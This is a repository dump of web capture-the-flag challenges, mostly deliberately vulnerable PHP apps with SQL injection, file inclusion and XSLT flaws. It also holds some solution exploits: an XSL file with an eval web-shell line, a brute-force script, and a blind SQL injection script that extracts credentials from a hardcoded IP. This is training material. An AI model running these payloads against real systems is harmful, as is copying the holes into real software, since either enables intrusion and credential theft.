├── 2017
├── Belluminar2017
│ ├── README.md
│ ├── color-world.pdf
│ └── prob
│ │ ├── exploit
│ │ ├── exploit5.xsl
│ │ └── exploit7.xsl
│ │ ├── htdocs
│ │ ├── index.php
│ │ ├── login.php
│ │ └── page
│ │ │ ├── 801f7201346b43f8ee8390a1ef20ddcd
│ │ │ ├── green.xsl
│ │ │ ├── orange.xsl
│ │ │ └── red.xsl
│ │ │ ├── assets
│ │ │ ├── bootstrap.min.js
│ │ │ ├── script.js
│ │ │ └── style.css
│ │ │ ├── base.php
│ │ │ ├── config.php
│ │ │ ├── index.php
│ │ │ ├── readme.php
│ │ │ └── style.xml
│ │ └── table.sql
├── can_you_do_it
│ ├── can_you_do_it.sql
│ ├── config.php
│ └── index.php
├── dirt-Y
│ ├── exploit
│ │ ├── findhex.py
│ │ └── inject.py
│ ├── flag.php
│ └── index.php
├── is_this_possible
│ ├── config.php
│ ├── index.php
│ └── is_this_possible.sql
├── layer7_external2017
│ ├── Daniel's_DAILY_LIFE
│ │ ├── bbcode.sql
│ │ ├── htdocs
│ │ │ ├── admin
│ │ │ │ ├── add_member.php
│ │ │ │ ├── admin_home.php
│ │ │ │ ├── admin_library.php
│ │ │ │ ├── admin_read.php
│ │ │ │ ├── admin_write.php
│ │ │ │ └── index.php
│ │ │ ├── assets
│ │ │ │ ├── bootstrap-4.0.0-alpha.6.min.js
│ │ │ │ ├── smooth-scroll.js
│ │ │ │ └── style.css
│ │ │ ├── bbcode.txt
│ │ │ ├── contacts.php
│ │ │ ├── cooking.php
│ │ │ ├── home.php
│ │ │ ├── include
│ │ │ │ ├── config.php
│ │ │ │ └── library.php
│ │ │ ├── index.php
│ │ │ ├── login.php
│ │ │ ├── logout.php
│ │ │ ├── read.php
│ │ │ ├── robots.txt
│ │ │ ├── shop
│ │ │ │ └── shop.php
│ │ │ └── song.php
│ │ └── selenium
│ │ │ └── bot.py
│ ├── can_you_bypass_me
│ │ ├── config.php
│ │ ├── flagflagflagflag.php
│ │ ├── index.php
│ │ └── readme.md
│ └── readme.md
├── power_of_xx_2017
│ ├── basic_web
│ │ ├── exploit.py
│ │ ├── readme.md
│ │ ├── src
│ │ │ ├── adm1n.htm
│ │ │ ├── assets
│ │ │ │ ├── bootstrap.min.js
│ │ │ │ └── style.css
│ │ │ ├── board.htm
│ │ │ ├── config.htm
│ │ │ ├── home.htm
│ │ │ ├── index.htm
│ │ │ ├── login.htm
│ │ │ ├── logout.htm
│ │ │ └── send.htm
│ │ └── table.sql
│ └── sqlgame
│ │ ├── readme.md
│ │ ├── src
│ │ ├── assets
│ │ │ ├── adfsadfasdfasdfasdfasdf31!@$&(^^&^!@aag12345.png
│ │ │ └── logo.png
│ │ ├── config.php
│ │ └── index.php
│ │ └── table.sql
└── simple_login
│ ├── config.php
│ ├── index.php
│ └── table.sql
├── 2018
├── 2018_Layer7_CTF_Margaret
│ ├── README.md
│ ├── db
│ │ └── database.db
│ └── html
│ │ ├── .htaccess
│ │ ├── classes
│ │ ├── Controller.class.php
│ │ ├── Render.class.php
│ │ └── User.class.php
│ │ ├── config
│ │ ├── config.php
│ │ └── function.php
│ │ ├── index.php
│ │ ├── public
│ │ ├── css
│ │ │ └── style.css
│ │ ├── font
│ │ │ └── BMYEONSUNG_ttf.ttf
│ │ ├── img
│ │ │ └── main.jpg
│ │ └── js
│ │ │ └── jquery-3.3.1.min.js
│ │ └── templates
│ │ ├── footer.html
│ │ ├── header.html
│ │ ├── home.html
│ │ ├── login.html
│ │ ├── logout.html
│ │ ├── mypage.html
│ │ ├── need_session
│ │ ├── logout.html
│ │ └── mypage.html
│ │ └── register.html
├── H3X0R-CTF-2018
│ ├── README.md
│ ├── goodaegi_board
│ │ ├── classes
│ │ │ ├── board.class.php
│ │ │ ├── database.class.php
│ │ │ └── user.class.php
│ │ ├── config
│ │ │ ├── dbconfig.php
│ │ │ └── function.php
│ │ ├── control.php
│ │ ├── flag.php
│ │ ├── footer.php
│ │ ├── goodaegi_board.sql
│ │ ├── header.php
│ │ ├── index.php
│ │ ├── static
│ │ │ ├── css
│ │ │ │ └── style.css
│ │ │ └── js
│ │ │ │ ├── bootstrap.min.js
│ │ │ │ ├── jquery-3.2.1.slim.min.js
│ │ │ │ └── popper.min.js
│ │ └── templates
│ │ │ ├── board_body.html
│ │ │ ├── board_footer.html
│ │ │ ├── board_header.html
│ │ │ ├── home.html
│ │ │ ├── insert.html
│ │ │ ├── join.html
│ │ │ └── login.html
│ └── sqlgame_revenge
│ │ ├── config.php
│ │ └── index.php
├── count
│ ├── README.md
│ ├── exploit
│ │ ├── exploit.py
│ │ └── php_file_put_contents_race_condition.png
│ └── www
│ │ ├── flag-6ece7416.php
│ │ ├── index.php
│ │ └── template.tpl
└── hackingcamp18
│ ├── db
│ └── database.db
│ ├── exploit.py
│ ├── html
│ ├── .htaccess
│ ├── classes
│ │ ├── Controller.class.php
│ │ ├── Render.class.php
│ │ ├── Shop.class.php
│ │ └── User.class.php
│ ├── config
│ │ ├── config.php
│ │ └── function.php
│ ├── index.php
│ ├── public
│ │ ├── css
│ │ │ └── style.css
│ │ ├── font
│ │ │ └── BMYEONSUNG_ttf.ttf
│ │ ├── img
│ │ │ ├── flag.png
│ │ │ ├── grim.png
│ │ │ ├── helmet.png
│ │ │ ├── shampoo.jpg
│ │ │ └── tire.jpg
│ │ └── js
│ │ │ └── jquery-3.3.1.min.js
│ └── templates
│ │ ├── footer.html
│ │ ├── header.html
│ │ ├── home.html
│ │ ├── login.html
│ │ ├── logout.html
│ │ ├── mypage.html
│ │ ├── register.html
│ │ └── shop.html
│ ├── readme.md
│ └── www.zip
├── 2019
├── Belluminar
│ ├── .htaccess
│ ├── classes
│ │ ├── AlephDB
│ │ │ ├── @Aleph.class.php
│ │ │ ├── Aleph.class.php
│ │ │ └── alephdb
│ │ ├── Controller.class.php
│ │ ├── MunTemplate.class.php
│ │ ├── Render.class.php
│ │ ├── User.class.php
│ │ └── Videos.class.php
│ ├── config
│ │ ├── .htaccess
│ │ ├── config.php
│ │ ├── function.php
│ │ └── server
│ ├── index.php
│ ├── static
│ │ ├── css
│ │ │ └── style.css
│ │ ├── img
│ │ │ ├── 404.png
│ │ │ ├── logo.png
│ │ │ └── main.png
│ │ └── js
│ │ │ └── jquery-3.4.1.min.js
│ └── templates
│ │ ├── footer.html
│ │ ├── header.html
│ │ ├── index.html
│ │ ├── login.html
│ │ ├── mypage.html
│ │ ├── read.html
│ │ ├── register.html
│ │ ├── upload.html
│ │ └── videos.html
├── Christmas_CTF
│ └── Dynamic_SQL
│ │ ├── mild_taste(unintended)
│ │ ├── config.php
│ │ ├── function.php
│ │ ├── index.php
│ │ ├── login.php
│ │ ├── source.zip
│ │ └── static
│ │ │ ├── bootstrap.min.js
│ │ │ ├── favicon.png
│ │ │ ├── jquery-3.4.1.min.js
│ │ │ ├── pig.png
│ │ │ ├── style.css
│ │ │ └── theme.css
│ │ └── spicy_taste
│ │ ├── config.php
│ │ ├── function.php
│ │ ├── index.php
│ │ ├── login.php
│ │ ├── source.zip
│ │ └── static
│ │ ├── bootstrap.min.js
│ │ ├── favicon.png
│ │ ├── jquery-3.4.1.min.js
│ │ ├── pig.png
│ │ ├── style.css
│ │ └── theme.css
├── Sunrin_Internet_High_School_CTF_2019
│ ├── README.md
│ ├── jjang9
│ │ ├── 0.png
│ │ ├── README.md
│ │ ├── index.html
│ │ ├── lfi.php
│ │ └── upload.php
│ ├── last_old_school
│ │ ├── config.php
│ │ └── index.php
│ └── my_first_app
│ │ ├── app
│ │ ├── app.py
│ │ ├── config.py
│ │ ├── model.py
│ │ ├── mydb.db
│ │ ├── static
│ │ │ ├── eye.png
│ │ │ ├── mommyhand.png
│ │ │ ├── munsiu.png
│ │ │ ├── peach.png
│ │ │ └── sibariza.png
│ │ └── templates
│ │ │ ├── board.html
│ │ │ ├── home.html
│ │ │ ├── login.html
│ │ │ ├── profile.html
│ │ │ ├── read.html
│ │ │ ├── register.html
│ │ │ ├── report.html
│ │ │ └── write.html
│ │ ├── chromedriver
│ │ └── robot.py
└── rename
│ ├── backup
│ └── index.html
│ ├── index.php
│ └── upload.php
├── 2021
└── LAYER7_CTF
│ ├── handmade
│ ├── Dockerfile
│ ├── flag
│ └── src
│ │ ├── app.py
│ │ ├── htdocs
│ │ ├── about.html
│ │ ├── blog.html
│ │ ├── breadfactorytemplate.psd
│ │ ├── contact.html
│ │ ├── css
│ │ │ └── style.css
│ │ ├── images
│ │ │ ├── bg-aside.jpg
│ │ │ ├── bg-blog-heading.png
│ │ │ ├── bg-body.jpg
│ │ │ ├── bg-content.jpg
│ │ │ ├── bg-footer.gif
│ │ │ ├── bg-header.gif
│ │ │ ├── bg-menu-selected.jpg
│ │ │ ├── bg-menu-selected2.jpg
│ │ │ ├── collection.jpg
│ │ │ ├── croissants.jpg
│ │ │ ├── favorites.jpg
│ │ │ ├── icons.png
│ │ │ ├── interface.png
│ │ │ ├── loafs.jpg
│ │ │ ├── logo.png
│ │ │ ├── sandwiches.jpg
│ │ │ ├── traditional.jpg
│ │ │ └── whats-new.png
│ │ ├── index.html
│ │ └── menu.html
│ │ ├── requirements.txt
│ │ └── response_form.py
│ └── selfmade
│ ├── Dockerfile
│ ├── flag
│ └── src
│ ├── app.py
│ ├── contents
│ ├── 1
│ └── 2
│ ├── htdocs
│ └── index.html
│ ├── requirements.txt
│ └── response_form.py
├── 2022
├── BOB_WEB_CTF
│ ├── dom_clobbering
│ │ ├── index.html
│ │ └── writeup
│ │ │ └── writeup.txt
│ ├── pp
│ │ ├── config.js
│ │ ├── index.html
│ │ └── writeup
│ │ │ └── writeup.txt
│ └── rpo
│ │ ├── config.js
│ │ ├── index.php
│ │ └── writeup
│ │ ├── exploit.html
│ │ └── writeup.txt
├── HSPACE_CTF
│ ├── hspace_proxy
│ │ ├── admin
│ │ │ ├── Dockerfile
│ │ │ ├── db
│ │ │ │ └── init.sql
│ │ │ ├── flag.txt
│ │ │ └── src
│ │ │ │ ├── app.py
│ │ │ │ ├── htdocs
│ │ │ │ ├── index.html
│ │ │ │ └── write.html
│ │ │ │ ├── model.py
│ │ │ │ ├── requirements.txt
│ │ │ │ └── response_form.py
│ │ ├── docker-compose.yml
│ │ └── public
│ │ │ ├── Dockerfile
│ │ │ └── src
│ │ │ ├── app.py
│ │ │ ├── htdocs
│ │ │ ├── index.html
│ │ │ └── notice.html
│ │ │ ├── model.py
│ │ │ ├── requirements.txt
│ │ │ └── response_form.py
│ ├── lucky7
│ │ ├── index.php
│ │ └── lucky.php
│ └── maidcha
│ │ ├── Dockerfile
│ │ ├── flag
│ │ ├── memo
│ │ ├── 1
│ │ └── 2
│ │ └── src
│ │ ├── app.py
│ │ ├── htdocs
│ │ └── index.html
│ │ ├── requirements.txt
│ │ └── response_form.py
└── SUNRIN_CTF
│ ├── BABY_XSS
│ ├── bot
│ │ └── bot.py
│ ├── index.php
│ ├── init.sql
│ ├── onlybot.php
│ └── report.php
│ ├── HAPPY
│ ├── bot
│ │ └── bot.py
│ ├── config.js
│ ├── index.php
│ ├── init.sql
│ ├── onlybot.php
│ ├── report.php
│ └── writeup
│ │ └── exploit.html
│ └── LOGIN_MASTER
│ ├── config.php
│ ├── ebd03212efcf1965e52fb3d838fabb92.db
│ ├── index.php
│ └── user.php
├── 2024
└── SUNRIN_CTF
│ ├── checkjs
│ ├── Dockerfile
│ ├── app
│ │ ├── flag
│ │ └── index.js
│ ├── docker-compose.yml
│ └── for_user.zip
│ └── memoboard
│ ├── Dockerfile
│ ├── docker-compose.yml
│ ├── for_user.zip
│ └── src
│ ├── 2fa.php
│ ├── board.php
│ ├── db.php
│ ├── index.php
│ ├── login.php
│ ├── logout.php
│ ├── mypage.php
│ ├── register.php
│ ├── style.css
│ └── verify.php
├── .gitattributes
└── README.md
/.gitattributes:
--------------------------------------------------------------------------------
1 | * linguist-vendored
2 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/README.md:
--------------------------------------------------------------------------------
1 | # Belluminar-2017-Color-word
2 |
3 | ~~~
4 | made by munsiwoo
5 | ~~~
6 |
7 | * Color World
8 |
9 | * LFI, SQL Injection, XSLT Vuln
10 |
11 | * 풀이는 color-world.pdf 참고
--------------------------------------------------------------------------------
/2017/Belluminar2017/color-world.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/munsiwoo/ctf-web-prob/eb4124d4208ef7a8c28c7e16a41b5cfa7bcd86a5/2017/Belluminar2017/color-world.pdf
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/exploit/exploit5.xsl:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 | Vendor:
11 | Vendor URL:
12 |
13 | eval($_POST[code]);
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/exploit/exploit7.xsl:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/index.php:
--------------------------------------------------------------------------------
1 | location.href='?page=login'");
7 | if(!file_exists($page.".php")) echo "file not found.\n";
8 | if(!preg_match("/page/i", $page)) require($page.".php");
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/801f7201346b43f8ee8390a1ef20ddcd/green.xsl:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/801f7201346b43f8ee8390a1ef20ddcd/orange.xsl:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/801f7201346b43f8ee8390a1ef20ddcd/red.xsl:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/assets/script.js:
--------------------------------------------------------------------------------
1 | function load(argv){
2 | var colors = document.colors;
3 | colors.color.value = argv;
4 | colors.submit();
5 | }
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/config.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/index.php:
--------------------------------------------------------------------------------
1 | location.href='../'");
8 | }
9 |
10 | if(isset($_GET['leave'])){
11 | session_destroy();
12 | exit("");
13 | }
14 |
15 | $conn = mysqli_connect($DB_HOST, $DB_USER, $DB_PASSWORD, $DB_NAME);
16 |
17 | $color = isset($_POST['color']) ? $_POST['color'] : 'red';
18 | $query = "SELECT * FROM `xslt` WHERE xsl='".$color."'";
19 | $assoc = mysqli_fetch_assoc(mysqli_query($conn, $query)) or die('color not found.');
20 |
21 | $xml = new DOMDocument;
22 | $xml->load("style.xml");
23 |
24 | $xsl = new DOMDocument;
25 | $xsl->load($assoc['path']);
26 |
27 | $proc = new XSLTProcessor;
28 | $proc->registerPHPFunctions();
29 | $proc->importStyleSheet($xsl);
30 |
31 | require("base.php");
32 | ?>
33 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/readme.php:
--------------------------------------------------------------------------------
1 | location.href='../'");
7 | }
8 |
9 | # flag{bfpdopfoprowpelwlekdsooasdiasodiowoqwe}
10 | ?>
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/htdocs/page/style.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | It's fun XD
5 |
6 |
--------------------------------------------------------------------------------
/2017/Belluminar2017/prob/table.sql:
--------------------------------------------------------------------------------
1 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
2 | SET NAMES UTF8;
3 |
4 | CREATE TABLE IF NOT EXISTS `users` (
5 | `username` varchar(100) NOT NULL,
6 | `password` varchar(100) NOT NULL
7 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
8 |
9 | CREATE TABLE IF NOT EXISTS `xslt` (
10 | `xsl` varchar(100) NOT NULL,
11 | `path` varchar(100) NOT NULL
12 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
13 |
14 | INSERT INTO `xslt` (`xsl`, `path`) VALUES
15 | ('red', './801f7201346b43f8ee8390a1ef20ddcd/red.xsl'),
16 | ('orange', './801f7201346b43f8ee8390a1ef20ddcd/orange.xsl'),
17 | ('green', './801f7201346b43f8ee8390a1ef20ddcd/green.xsl');
--------------------------------------------------------------------------------
/2017/can_you_do_it/can_you_do_it.sql:
--------------------------------------------------------------------------------
1 | CREATE TABLE IF NOT EXISTS `can_you_do_it` (
2 | `id` varchar(50) NOT NULL
3 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
4 |
5 |
6 | INSERT INTO `can_you_do_it` (`id`) VALUES
7 | ('admin'),
8 | ('flag is {**secret**}');
--------------------------------------------------------------------------------
/2017/can_you_do_it/config.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/can_you_do_it/index.php:
--------------------------------------------------------------------------------
1 | 10) exit("id is too long");
8 |
9 | $conn = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) or die("connect error");
10 | $query = "SELECT id FROM `can_you_do_it` WHERE id='".$_GET['id']."'";
11 | $row = mysqli_fetch_array(mysqli_query($conn, $query);
12 |
13 | echo "
";
14 | if($row['id']){
15 | echo $row['id'];
16 | }
17 | else {
18 | echo "None";
19 | }
20 | echo "
";
21 |
22 | highlight_file(__FILE__);
23 | ?>
--------------------------------------------------------------------------------
/2017/dirt-Y/exploit/findhex.py:
--------------------------------------------------------------------------------
1 | from random import randrange
2 | # dirt-Y challenge exploit
3 | # made by munsiwoo
4 |
5 | def find() :
6 | while True :
7 | random_one = randrange(100, 255)
8 | random_two = randrange(100, 255)
9 | xor = ord(chr(random_one)) ^ ord(chr(random_two))
10 | if(xor == 50) :
11 | break
12 |
13 | a = '\\' + hex(random_one)[1:]
14 | b = '\\' + hex(random_two)[1:]
15 | print(a + ' ^ ' + b + ' = 2')
16 |
17 | if __name__ == '__main__' :
18 | find()
19 |
--------------------------------------------------------------------------------
/2017/dirt-Y/exploit/inject.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 | # dirt-Y challenge exploit
3 | # made by munsiwoo
4 |
5 | def main() :
6 | uri = 'http://127.0.0.1/probs/dirt-Y/index.php'
7 | headers = {
8 | 'Content-Type' : 'application/x-www-form-urlencoded',
9 | 'Cookie' : 'a=\xbd;b=\x8f;x=88;'
10 | }
11 |
12 | for x in range(1000000) :
13 | response = get(uri, headers=headers)
14 | if(response.text.find("flag{") != -1) :
15 | print(response.text)
16 | break
17 |
18 | print('Number of attempts : ' + str(x))
19 |
20 | if __name__ == '__main__' :
21 | main()
22 |
--------------------------------------------------------------------------------
/2017/dirt-Y/flag.php:
--------------------------------------------------------------------------------
1 | \n";
4 | echo "flag{yes_this_prob_is_dirty_ʕ•ᴥ•ʔ}
\n";
5 | exit;
6 | }
7 | ?>
--------------------------------------------------------------------------------
/2017/dirt-Y/index.php:
--------------------------------------------------------------------------------
1 | Congratulation!!!!
flag is **secret**");
9 | }
10 | ?>
--------------------------------------------------------------------------------
/2017/is_this_possible/index.php:
--------------------------------------------------------------------------------
1 | |&|=|;|#|_|or|and|union|select|into|info|sc|in|like|regex|rand|limit|prob|0x|0b/i";
7 | if(preg_match($filter, $_GET['go'])) exit("403 forbidden");
8 | if(preg_match("/\s/", $_GET['go'])) exit("whitespace nono");
9 |
10 | $i = 0;
11 | $conn = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
12 | $query = mysqli_query($conn, "SELECT * FROM `is_this_possible` ORDER BY ".$_GET['go']." DESC");
13 |
14 | echo "";
15 | echo "id |
";
16 | while($row = mysqli_fetch_array($query)){
17 | $res[$i++] = $row['id'];
18 | echo "{$row['id']} |
";
19 | }
20 | echo "
";
21 |
22 | if($res[0] === "admin" && $res[1] === "19990301" && $res[2] === "guest"){
23 | if((int)$res[1] == $_GET['foo'] && strlen($_GET['foo']) > 10){
24 | solve();
25 | }
26 | }
27 | }
28 | highlight_file(__FILE__);
29 | ?>
--------------------------------------------------------------------------------
/2017/is_this_possible/is_this_possible.sql:
--------------------------------------------------------------------------------
1 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
2 |
3 | CREATE TABLE IF NOT EXISTS `is_this_possible` (
4 | `id` varchar(50) NOT NULL
5 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
6 |
7 |
8 | INSERT INTO `is_this_possible` (`id`) VALUES
9 | ('admin'),
10 | ('guest'),
11 | ('19990301'),
12 | ('19970101'),
13 | ('20010609');
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/bbcode.sql:
--------------------------------------------------------------------------------
1 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
2 | SET NAMES UTF8;
3 |
4 | CREATE TABLE IF NOT EXISTS `contacts` (
5 | `idx` int(11) NOT NULL AUTO_INCREMENT,
6 | `title` varchar(100) NOT NULL,
7 | `contents` varchar(512) NOT NULL,
8 | PRIMARY KEY (`idx`)
9 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
10 |
11 | CREATE TABLE IF NOT EXISTS `cooking` (
12 | `idx` int(11) NOT NULL AUTO_INCREMENT,
13 | `title` varchar(50) NOT NULL,
14 | `contents` varchar(10000) NOT NULL,
15 | PRIMARY KEY (`idx`)
16 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=6 ;
17 |
18 | INSERT INTO `cooking` (`idx`, `title`, `contents`) VALUES
19 | (1, 'Welcome to cooking category', 'welcome to cooking category
articles related to cooking will be posted.'),
20 | (2, 'Steak is very delicious XD', '
\r\ngood good good~');
21 |
22 |
23 | CREATE TABLE IF NOT EXISTS `song` (
24 | `idx` int(11) NOT NULL AUTO_INCREMENT,
25 | `title` varchar(50) NOT NULL,
26 | `contents` varchar(10000) NOT NULL,
27 | PRIMARY KEY (`idx`)
28 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
29 |
30 | INSERT INTO `song` (`idx`, `title`, `contents`) VALUES
31 | (1, 'Welcome to song category', 'Welcome to song category!'),
32 | (2, 'I love Sam Smith songs. XD', 'Im Not The Only One is good, Stay with me is good.');
33 |
34 | CREATE TABLE IF NOT EXISTS `users` (
35 | `token` varchar(100) NOT NULL,
36 | `username` varchar(100) NOT NULL,
37 | `password` varchar(100) NOT NULL,
38 | PRIMARY KEY (`username`)
39 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
40 |
41 | INSERT INTO `users` (`token`, `username`, `password`) VALUES
42 | ('1694138c2ede438201a100d641307ec78b3f3c96', 'admin', '1e5915d79c1edc1064f2862b0bb1b77318a0e6d670a99335eb4bf6b3d2e9fea6');
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/admin/admin_home.php:
--------------------------------------------------------------------------------
1 | location.href='../home.php';");
7 | }
8 | ?>
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 | Admin page
18 |
19 |
20 |
44 |
45 |
46 |
47 |
Admin page
48 |
daily life of Daniel
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/admin/admin_library.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/admin/admin_read.php:
--------------------------------------------------------------------------------
1 | location.href='../';");
8 |
9 | contacts_read();
10 | ?>
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/admin/index.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/assets/smooth-scroll.js:
--------------------------------------------------------------------------------
1 | $('a[href*="#"]')
2 | // Remove links that don't actually link to anything
3 | .not('[href="#"]')
4 | .not('[href="#0"]')
5 | .click(function(event) {
6 | // On-page links
7 | if (
8 | location.pathname.replace(/^\//, '') == this.pathname.replace(/^\//, '')
9 | &&
10 | location.hostname == this.hostname
11 | ) {
12 | // Figure out element to scroll to
13 | var target = $(this.hash);
14 | target = target.length ? target : $('[name=' + this.hash.slice(1) + ']');
15 | // Does a scroll target exist?
16 | if (target.length) {
17 | // Only prevent default if animation is actually gonna happen
18 | event.preventDefault();
19 | $('html, body').animate({
20 | scrollTop: target.offset().top
21 | }, 1000, function() {
22 | // Callback after animation
23 | // Must change focus!
24 | var $target = $(target);
25 | $target.focus();
26 | if ($target.is(":focus")) { // Checking if the target was focused
27 | return false;
28 | } else {
29 | $target.attr('tabindex','-1'); // Adding tabindex for elements not focusable
30 | $target.focus(); // Set focus again
31 | };
32 | });
33 | }
34 | }
35 | });
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/bbcode.txt:
--------------------------------------------------------------------------------
1 | [b]Bold Text[/b]
2 | [i]Italic Text[/i]
3 | [url]http://www.php.net/[/url]
4 | [url=http://pecl.php.net/][b]Content Text[/b][/url]
5 | [img]http://static.php.net/www.php.net/images/php.gif[/img]
6 | [url=http://www.php.net/]
7 | [img]http://static.php.net/www.php.net/images/php.gif[/img]
8 | [/url]
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/include/config.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/index.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/logout.php:
--------------------------------------------------------------------------------
1 | location.href='home.php';");
7 | ?>
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Allow: /
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/htdocs/shop/shop.php:
--------------------------------------------------------------------------------
1 | Congratulation!!!!flag is {dlanswpsdjEoTskdy?wharneorlduTdma?}';
15 | ?>
--------------------------------------------------------------------------------
/2017/layer7_external2017/Daniel's_DAILY_LIFE/selenium/bot.py:
--------------------------------------------------------------------------------
1 | #-*- coding:utf-8 -*-
2 | from selenium import webdriver
3 | from time import sleep
4 |
5 | admin_id = "admin"
6 | admin_pw = "iopqwe123qwe@"
7 | login_page = "http://ctf.layer7.kr:6002/bbcode/login.php"
8 | read_page = "http://ctf.layer7.kr:6002/bbcode/admin/admin_read.php"
9 |
10 | driver = webdriver.PhantomJS()
11 | driver.implicitly_wait(3)
12 |
13 | driver.get(login_page)
14 | driver.find_element_by_name("username").send_keys(admin_id)
15 | driver.find_element_by_name("password").send_keys(admin_pw)
16 | submit_button = driver.find_elements_by_xpath("//input[@value='Submit']")[0]
17 | submit_button.click()
18 |
19 | while(1) :
20 | driver.get(read_page)
21 | sleep(2)
--------------------------------------------------------------------------------
/2017/layer7_external2017/can_you_bypass_me/config.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/can_you_bypass_me/flagflagflagflag.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/can_you_bypass_me/index.php:
--------------------------------------------------------------------------------
1 | ';
20 | highlight_file(__FILE__);
--------------------------------------------------------------------------------
/2017/layer7_external2017/can_you_bypass_me/readme.md:
--------------------------------------------------------------------------------
1 | # can-you-bypass-me?
2 | can you bypass me? (web) - regexp bypass, wild card
3 |
4 | ###### I used a docker.
5 |
--------------------------------------------------------------------------------
/2017/layer7_external2017/readme.md:
--------------------------------------------------------------------------------
1 | Layer7 CTF
2 | =============
3 | 2017-09-23 09:00 ~ 2017-09-24 09:00
4 | -------------
5 |
6 | --------------------------------------
7 | ###### can you bypass me? (web) - regexp bypass, wild card
8 | ###### present (web) - released later
9 | ###### daily life of Daniel (web) - xss
10 |
--------------------------------------------------------------------------------
/2017/power_of_xx_2017/basic_web/exploit.py:
--------------------------------------------------------------------------------
1 | #-*- coding:utf-8 -*-
2 | import http.client, base64
3 | from urllib.parse import quote
4 |
5 | '''
6 | power of xx - basic web1
7 | blind insert injection
8 | made by SiwooMun
9 | '''
10 |
11 | conn = http.client.HTTPConnection('125.131.189.15', 6001)
12 | headers = {'Content-Type': 'application/x-www-form-urlencoded'}
13 |
14 | conn.request('GET', '/?p=php://filter/convert.base64-encode/resource=config', '', headers)
15 | secret_key = base64.b64decode(conn.getresponse().read()).decode('utf-8') # config.php
16 |
17 | payload = (lambda col,x,y:",if((select substr(%s,%d,1) from users)=%s,(select 1 union select 2), 2))#"%(col,x,y))
18 | quote_escape = 'email=a&title=a\&contents='
19 | username = password = ""
20 |
21 | for x in range(1, 6) : # extract username
22 | for y in "abcdefghijklmnopqrstuvwxyz0123456789" :
23 | body = quote_escape + quote(payload('username',x,str(hex(ord(y)))))
24 | conn.request('POST', '/send.htm', body, headers)
25 | response = str(conn.getresponse().read())
26 |
27 | if(response.find('err') != -1) :
28 | username += y
29 | print("username : " + username)
30 | break
31 |
32 | for x in range(1, 15) : # extract password
33 | for y in "abcdefghijklmnopqrstuvwxyz0123456789" :
34 | body = quote_escape + quote(payload('password',x,str(hex(ord(y)))))
35 | conn.request('POST', '/send.htm', body, headers)
36 | response = str(conn.getresponse().read())
37 |
